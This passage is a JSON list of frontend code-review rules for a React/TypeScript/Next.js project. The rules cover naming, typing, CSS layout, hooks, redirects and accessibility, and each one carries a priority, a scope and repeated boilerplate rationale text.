example.","priority":"p1","scope":"project-specific"},{"title":"Don't manually escape data already sanitized upstream","rule":"If the backend already sanitizes untrusted content, avoid redundant client-side escaping; only escape where the trust boundary actually requires it.","apiRule":"If the backend already sanitizes untrusted content, avoid redundant client-side escaping; only escape where the trust boundary actually requires it. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Match an object's shape to the existing canonical type","rule":"When building an object that should conform to an established type (e.g. Ticker), include the type's required fields and reuse the type rather than a partial ad-hoc shape.","apiRule":"When building an object that should conform to an established type (e.g. Ticker), include the type's required fields and reuse the type rather than a partial ad-hoc shape. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Leave a TODO for fields you intend to add later","rule":"When a field is intentionally deferred to a future feature (e.g. author.url pending profile pages), mark it with a TODO so the gap is visible.","apiRule":"When a field is intentionally deferred to a future feature (e.g. author.url pending profile pages), mark it with a TODO so the gap is visible. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Keep package.json script names consistent across repos","rule":"Match common script names (e.g. typecheck) to the convention used across your other repos so commands are unified, even if it bends local kebab-case.","apiRule":"Match common script names (e.g. typecheck) to the convention used across your other repos so commands are unified, even if it bends local kebab-case. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: project specific.","whenToApply":"Priority: P2. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"project-specific"},{"title":"Compute a value once and share it instead of recomputing","rule":"When the same derived value is needed in two sibling places, compute it once at a common parent and pass it down rather than duplicating the calculation.","apiRule":"When the same derived value is needed in two sibling places, compute it once at a common parent and pass it down rather than duplicating the calculation. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Place feature state in its own feature context","rule":"State that belongs to a specific feature should live in that feature's context/provider, not be wedged into an unrelated page-level context.","apiRule":"State that belongs to a specific feature should live in that feature's context/provider, not be wedged into an unrelated page-level context. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Inline a wrapper hook that adds no value","rule":"If a hook just calls two other hooks without adding logic, call those directly in the consumer instead of keeping the wrapper.","apiRule":"If a hook just calls two other hooks without adding logic, call those directly in the consumer instead of keeping the wrapper. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use width + margin auto for centered containers, consistently","rule":"Match the layout idiom used elsewhere (width + margin: 0 auto) instead of min-width when centering, to keep styling consistent across pages.","apiRule":"Match the layout idiom used elsewhere (width + margin: 0 auto) instead of min-width when centering, to keep styling consistent across pages. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: project specific.","whenToApply":"Priority: P2. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"project-specific"},{"title":"Reorder filtered items to match the intended display order","rule":"Filtering a fixed-order config preserves config order, not the desired order; explicitly sort/map by the target order, ideally via a lookup map.","apiRule":"Filtering a fixed-order config preserves config order, not the desired order; explicitly sort/map by the target order, ideally via a lookup map. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Name shared constants by their domain, not the feature that added them","rule":"Don't prefix a generic, reusable constant with one feature's name when the concept is broader (e.g. layout tabs aren't pinpoint-specific).","apiRule":"Don't prefix a generic, reusable constant with one feature's name when the concept is broader (e.g. layout tabs aren't pinpoint-specific). Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Add a redirect when removing or renaming a public route","rule":"When you remove a URL path, add a permanent redirect to its replacement so bookmarked/indexed links keep working.","apiRule":"When you remove a URL path, add a permanent redirect to its replacement so bookmarked/indexed links keep working. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Type props with a finite union when the values are known","rule":"If a prop only ever takes a few known values, type it as a union of literals; fall back to `string` only when the value set is genuinely open.","apiRule":"If a prop only ever takes a few known values, type it as a union of literals; fall back to `string` only when the value set is genuinely open. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use a discriminated union so switch branches narrow without casts","rule":"Model column/field configs as a discriminated union keyed on `type` so each switch case infers the correct value type instead of using `as number`.","apiRule":"Model column/field configs as a discriminated union keyed on `type` so each switch case infers the correct value type instead of using `as number`. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Narrow types to the set of values that can actually occur","rule":"Don't widen an enum/union to include values that the consumer can never receive; list only the values that are actually possible.","apiRule":"Don't widen an enum/union to include values that the consumer can never receive; list only the values that are actually possible. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Model deleted/absent entity fields as nullable and check all of them","rule":"When a field signals a deleted/absent entity (e.g. nickname null = deleted user), make it nullable in the type, and re-check related fields (id) for the same null semantics rather than assuming.","apiRule":"When a field signals a deleted/absent entity (e.g. nickname null = deleted user), make it nullable in the type, and re-check related fields (id) for the same null semantics rather than assuming. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Consolidate duplicate error-response interfaces","rule":"When several interfaces share the same error shape (message/error/statusCode), replace them with one shared ErrorResponse type and remove the duplicates.","apiRule":"When several interfaces share the same error shape (message/error/statusCode), replace them with one shared ErrorResponse type and remove the duplicates. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Type fixed method/identifier sets as a union, not string","rule":"For parameters that only accept a known set of values (e.g. HTTP method names), use a string-literal union type instead of plain string to catch typos.","apiRule":"For parameters that only accept a known set of values (e.g. HTTP method names), use a string-literal union type instead of plain string to catch typos. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Keep type guards to the minimal distinguishing checks","rule":"If two fields always co-occur in the discriminant shape, check only one in the type guard rather than redundantly checking both.","apiRule":"If two fields always co-occur in the discriminant shape, check only one in the type guard rather than redundantly checking both. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Name object-key iteration variables key, not id","rule":"When iterating object keys or using a value as a map key, name the variable key/linkKey rather than id; id implies a record identifier.","apiRule":"When iterating object keys or using a value as a map key, name the variable key/linkKey rather than id; id implies a record identifier. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Add a viewBox so SVG icons scale correctly","rule":"Include a viewBox attribute on SVG icon components so they scale properly when width/height are overridden by consumers.","apiRule":"Include a viewBox attribute on SVG icon components so they scale properly when width/height are overridden by consumers. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Prefer a ternary for simple value selection","rule":"Use a concise ternary expression when picking between two values, instead of a multi-line if/else assigning the same variable.","apiRule":"Use a concise ternary expression when picking between two values, instead of a multi-line if/else assigning the same variable. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Name setState updater params meaningfully","rule":"Name the previous-state parameter in a setState updater clearly (prev/current) rather than a verbose or misleading name.","apiRule":"Name the previous-state parameter in a setState updater clearly (prev/current) rather than a verbose or misleading name. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Don't add config params for features you don't render yet","rule":"Skip parameters/flags (e.g. enableDownvotes) guarding behavior that can't be triggered because the UI for it isn't rendered; they add complexity without value.","apiRule":"Skip parameters/flags (e.g. enableDownvotes) guarding behavior that can't be triggered because the UI for it isn't rendered; they add complexity without value. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't run side effects inside a setState updater","rule":"State updater callbacks should be pure; perform async/side-effect work (fetches, debounced syncs) in an effect or event handler, not inside setState.","apiRule":"State updater callbacks should be pure; perform async/side-effect work (fetches, debounced syncs) in an effect or event handler, not inside setState. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Handle redirects in layout to avoid half-painted pages","rule":"Perform server-side redirect/validation logic in layout.tsx (runs before the page paints) rather than client-side, so users don't see a half-rendered page before redirecting.","apiRule":"Perform server-side redirect/validation logic in layout.tsx (runs before the page paints) rather than client-side, so users don't see a half-rendered page before redirecting. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Use a soft 404 component when notFound() would break layout","rule":"In app-router layouts, returning a not-found UI component can keep the layout and client scripts alive where notFound() would tear them down; choose deliberately and comment why.","apiRule":"In app-router layouts, returning a not-found UI component can keep the layout and client scripts alive where notFound() would tear them down; choose deliberately and comment why. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Don't downgrade dependencies to dodge a local issue","rule":"Don't revert a dependency to an older version to work around a local problem (e.g. a commit/auth failure); diagnose the root cause so the bug isn't passed to the next person.","apiRule":"Don't revert a dependency to an older version to work around a local problem (e.g. a commit/auth failure); diagnose the root cause so the bug isn't passed to the next person. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Name iterator variables after the element, not the collection","rule":"In a map/forEach callback, name the parameter after a single element (e.g. reply), not after the collection or a misleading composite name.","apiRule":"In a map/forEach callback, name the parameter after a single element (e.g. reply), not after the collection or a misleading composite name. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Prefer a query-state library over manual URLSearchParams plumbing","rule":"For URL-synced state, use a dedicated query-state hook (e.g. nuqs useQueryState) instead of hand-rolling useState + useSearchParams + router.push; it removes boilerplate and supports push history.","apiRule":"For URL-synced state, use a dedicated query-state hook (e.g. nuqs useQueryState) instead of hand-rolling useState + useSearchParams + router.push; it removes boilerplate and supports push history. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Use re-export shorthand for index barrel files","rule":"For a barrel that only re-exports a default, prefer the export-from shorthand over importing then re-exporting.","apiRule":"For a barrel that only re-exports a default, prefer the export-from shorthand over importing then re-exporting. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Return resolved CSS-module class names from helpers","rule":"Have class-name helpers return the actual CSS-module class (via clsx) instead of returning a space-joined string that callers must split.","apiRule":"Have class-name helpers return the actual CSS-module class (via clsx) instead of returning a space-joined string that callers must split. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Fix typos in identifiers and prop names","rule":"Correct misspelled variable, prop, and key names even when inherited from existing code, so identifiers stay searchable and correct.","apiRule":"Correct misspelled variable, prop, and key names even when inherited from existing code, so identifiers stay searchable and correct. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Scope shared component styles by their owning element to avoid bleed","rule":"When the same subcomponent is reused in multiple hosts, scope its styles to a distinguishing parent selector so one host's overrides don't silently affect another.","apiRule":"When the same subcomponent is reused in multiple hosts, scope its styles to a distinguishing parent selector so one host's overrides don't silently affect another. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Prefer flex layout over height calc() hacks for fixed-header scroll regions","rule":"Use a flex column with flex:1 on the scrollable region instead of calc()-based fixed heights and extra height props.","apiRule":"Use a flex column with flex:1 on the scrollable region instead of calc()-based fixed heights and extra height props. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Avoid nested scroll containers (scroll inside scroll)","rule":"Adding overflow to a parent that already has a scrolling child creates a confusing double scrollbar; scope scrolling to the one region that needs it.","apiRule":"Adding overflow to a parent that already has a scrolling child creates a confusing double scrollbar; scope scrolling to the one region that needs it. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't prefix props with 'initial' unless they truly seed state","rule":"The initial* prefix implies the value only seeds state once; don't use it for props that stay live or are passed straight through.","apiRule":"The initial* prefix implies the value only seeds state once; don't use it for props that stay live or are passed straight through. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Prefer standalone functions over needlessly bundled methods","rule":"If a group of API methods don't share state, expose them as independent functions rather than tying them into one object.","apiRule":"If a group of API methods don't share state, expose them as independent functions rather than tying them into one object. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Keep internal concerns internal; don't expose handlers you don't need to","rule":"If a component fully owns a behavior like pagination, keep fetching internal rather than forcing consumers to wire up handlers.","apiRule":"If a component fully owns a behavior like pagination, keep fetching internal rather than forcing consumers to wire up handlers. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Expose clean package subpath exports for consumers","rule":"Define package exports so consumers can import from a short subpath (e.g. pkg/react) instead of reaching into dist internals.","apiRule":"Define package exports so consumers can import from a short subpath (e.g. pkg/react) instead of reaching into dist internals. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Use modern bundler module resolution, not deprecated node","rule":"Set module: preserve / moduleResolution: bundler for bundler-driven projects; node10 resolution is deprecated.","apiRule":"Set module: preserve / moduleResolution: bundler for bundler-driven projects; node10 resolution is deprecated. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Name CSS classes by their intent, not a vague modifier","rule":"A class like `lineModified` is unclear; name it after what condition it represents, e.g. `noLogo`.","apiRule":"A class like `lineModified` is unclear; name it after what condition it represents, e.g. `noLogo`. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Augment CSSProperties for custom CSS vars instead of casting","rule":"Extend React's CSSProperties type to allow custom properties rather than using `as React.CSSProperties` casts.","apiRule":"Extend React's CSSProperties type to allow custom properties rather than using `as React.CSSProperties` casts. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Assign possibly-undefined values directly into inline style objects","rule":"Set CSS custom properties to a value that may be undefined; undefined keys are excluded from the style object automatically, so no manual guards are needed.","apiRule":"Set CSS custom properties to a value that may be undefined; undefined keys are excluded from the style object automatically, so no manual guards are needed. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Annotate event handler parameter and return types","rule":"Give event handlers explicit event types and a void return annotation for clarity and safety.","apiRule":"Give event handlers explicit event types and a void return annotation for clarity and safety. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Specify the timezone explicitly when formatting dates","rule":"Date math that runs on both server and client must pass an explicit timeZone or it will use the ambiguous server timezone.","apiRule":"Date math that runs on both server and client must pass an explicit timeZone or it will use the ambiguous server timezone. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Use state, not a ref, when the value change must trigger a re-render","rule":"A value that should swap the rendered UI on change must live in state; a ref mutation does not re-render and can leave the UI stuck.","apiRule":"A value that should swap the rendered UI on change must live in state; a ref mutation does not re-render and can leave the UI stuck. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Conditionally render a component rather than mounting it to return null","rule":"When a component only renders for a non-null state, render it conditionally from the parent instead of always mounting it and returning null.","apiRule":"When a component only renders for a non-null state, render it conditionally from the parent instead of always mounting it and returning null. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Document magic numbers with a named constant or comment","rule":"Explain where a hardcoded number comes from, ideally by extracting it into a well-named constant.","apiRule":"Explain where a hardcoded number comes from, ideally by extracting it into a well-named constant. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Subscribe to the native event directly instead of a relayed custom event","rule":"Listen to the source event (e.g. popstate) where you need it rather than relaying it through a middleman listener in another layer.","apiRule":"Listen to the source event (e.g. popstate) where you need it rather than relaying it through a middleman listener in another layer. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Avoid manual offset math when CSS positioning suffices","rule":"Before computing pixel offsets in JS, confirm a CSS solution like position: fixed cannot achieve the same result more simply.","apiRule":"Before computing pixel offsets in JS, confirm a CSS solution like position: fixed cannot achieve the same result more simply. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Replace the active selection range when inserting editor content","rule":"Insert pasted/generated nodes over the current selection range rather than ignoring it, so existing selected content is not orphaned or duplicated.","apiRule":"Insert pasted/generated nodes over the current selection range rather than ignoring it, so existing selected content is not orphaned or duplicated. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Reset transient UI state when a component is hidden","rule":"Clear hover/selection state when a popover or panel closes so it reopens in a clean state.","apiRule":"Clear hover/selection state when a popover or panel closes so it reopens in a clean state. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use the correct ARIA role for the widget you are building","rule":"Choose the ARIA role that matches the actual interaction pattern (e.g. role=\"grid\" for a 2D selection grid, not role=\"menu\").","apiRule":"Choose the ARIA role that matches the actual interaction pattern (e.g. role=\"grid\" for a 2D selection grid, not role=\"menu\"). Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Prefer a scoped class over :global and !important","rule":"Apply your own class to the wrapper element instead of reaching into library globals or forcing styles with !important.","apiRule":"Apply your own class to the wrapper element instead of reaching into library globals or forcing styles with !important. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Let popovers close on outside click and Escape","rule":"A popover must be dismissible by clicking outside or pressing Escape, not only by completing the action inside it.","apiRule":"A popover must be dismissible by clicking outside or pressing Escape, not only by completing the action inside it. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Avoid re-traversing data when the answer is already in hand","rule":"Reuse a collection you already iterated instead of querying the DOM or re-walking the structure a second time for the same fact.","apiRule":"Reuse a collection you already iterated instead of querying the DOM or re-walking the structure a second time for the same fact. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Match HTML tags case-insensitively and with proper boundaries","rule":"Detect HTML elements with a case-insensitive, boundary-aware regex rather than a naive substring includes that misses uppercase and matches lookalike tags.","apiRule":"Detect HTML elements with a case-insensitive, boundary-aware regex rather than a naive substring includes that misses uppercase and matches lookalike tags. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Do not copy magic values or their comments into unrelated contexts","rule":"A constant or breakpoint justified in one file is meaningless when pasted elsewhere; derive or reference a real value for the new context.","apiRule":"A constant or breakpoint justified in one file is meaningless when pasted elsewhere; derive or reference a real value for the new context. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Simplify a callback that only checks truthiness","rule":"When filtering/some-ing on whether a value is truthy, return the value/access directly instead of an explicit comparison block.","apiRule":"When filtering/some-ing on whether a value is truthy, return the value/access directly instead of an explicit comparison block. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Keep a consistent hook declaration order in components","rule":"Order hooks consistently (destructured hooks, then state, then non-destructured hooks, then refs) so components read uniformly.","apiRule":"Order hooks consistently (destructured hooks, then state, then non-destructured hooks, then refs) so components read uniformly. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: project specific.","whenToApply":"Priority: P2. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"project-specific"},{"title":"Memoize objects passed to libraries that compare props by reference","rule":"When a library re-registers behaviour based on reference identity (e.g. RHF validate rules), wrap the object in useMemo so it's stable across renders.","apiRule":"When a library re-registers behaviour based on reference identity (e.g. RHF validate rules), wrap the object in useMemo so it's stable across renders. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Don't declare CSS properties set to their default value","rule":"Omit declarations like align-self: auto that just restate the CSS initial value.","apiRule":"Omit declarations like align-self: auto that just restate the CSS initial value. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Avoid throwaway enums; prefer string-literal unions for small fixed sets","rule":"Replace a tiny enum used only as discriminators with a string-literal union or derive values from a single source instead of duplicating literals.","apiRule":"Replace a tiny enum used only as discriminators with a string-literal union or derive values from a single source instead of duplicating literals. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: 